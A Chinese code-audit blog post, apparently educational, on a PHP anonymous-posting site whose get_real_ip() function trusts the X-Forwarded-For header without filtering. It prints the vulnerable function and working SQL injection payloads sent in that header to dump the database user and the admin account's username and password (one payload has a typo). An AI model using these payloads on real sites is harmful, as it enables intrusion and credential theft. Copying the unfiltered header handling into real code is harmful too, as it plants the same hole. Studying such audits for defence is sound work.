代码审计树洞X_FORWARDED_FOR注入

2018-08-02  本文已影响10人  蚁景科技
本文为原创文章,转载请注明出处

官网:https://yun.aoaoao.me/

/includes/function.php 36-52 行

function get_real_ip(){

$ip=false;

if(!empty($_SERVER["HTTP_CLIENT_IP"])){

$ip = $_SERVER["HTTP_CLIENT_IP"];

}

if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {

$ips = explode (", ", $_SERVER['HTTP_X_FORWARDED_FOR']);

if ($ip) { array_unshift($ips, $ip); $ip = FALSE; }

for ($i = 0; $i < count($ips); $i++) {

if (!eregi ("^(10|172\.16|192\.168)\.", $ips[$i])) {

$ip = $ips[$i];

break;

}

}

}

return ($ip ? $ip : $_SERVER['REMOTE_ADDR']);

}

获取HTTP_X_FORWARDED_FOR  

HTTP_X_FORWARDED_FOR是可以用户自定义的

没做什么过滤 取出函数输出一波

看到输出就知道了一切(其实不看也知道)( ̄▽ ̄*)

全局查找get_real_ip()  IP功能一般在用户登陆 注册 留言 这些是比较常见的

/includes/save.php 23-28 行

INSERT 注入原理我这里就不讲了

带上 ming 参数 (post) 

构造payload

X-Forwarded-For: 1.1.1.1',user(),'0',1,1); #

ming=123

爆用户名: X-Forwarded-For: 1.1.1.1',(select username from sd_user where id=1),'0',uid,uid); # 

爆密码: X-Forwarded-For: 1.1.1.1',(select pwdfrom sd_user where id=1),'0',uid,uid); #


文章仅用于普及网络安全知识,提高小伙伴的安全意识的同时介绍常见漏洞的特征等,若读者因此做出危害网络安全的行为后果自负,与合天智汇以及原作者无关,特此声明。

上一篇下一篇

猜你喜欢

热点阅读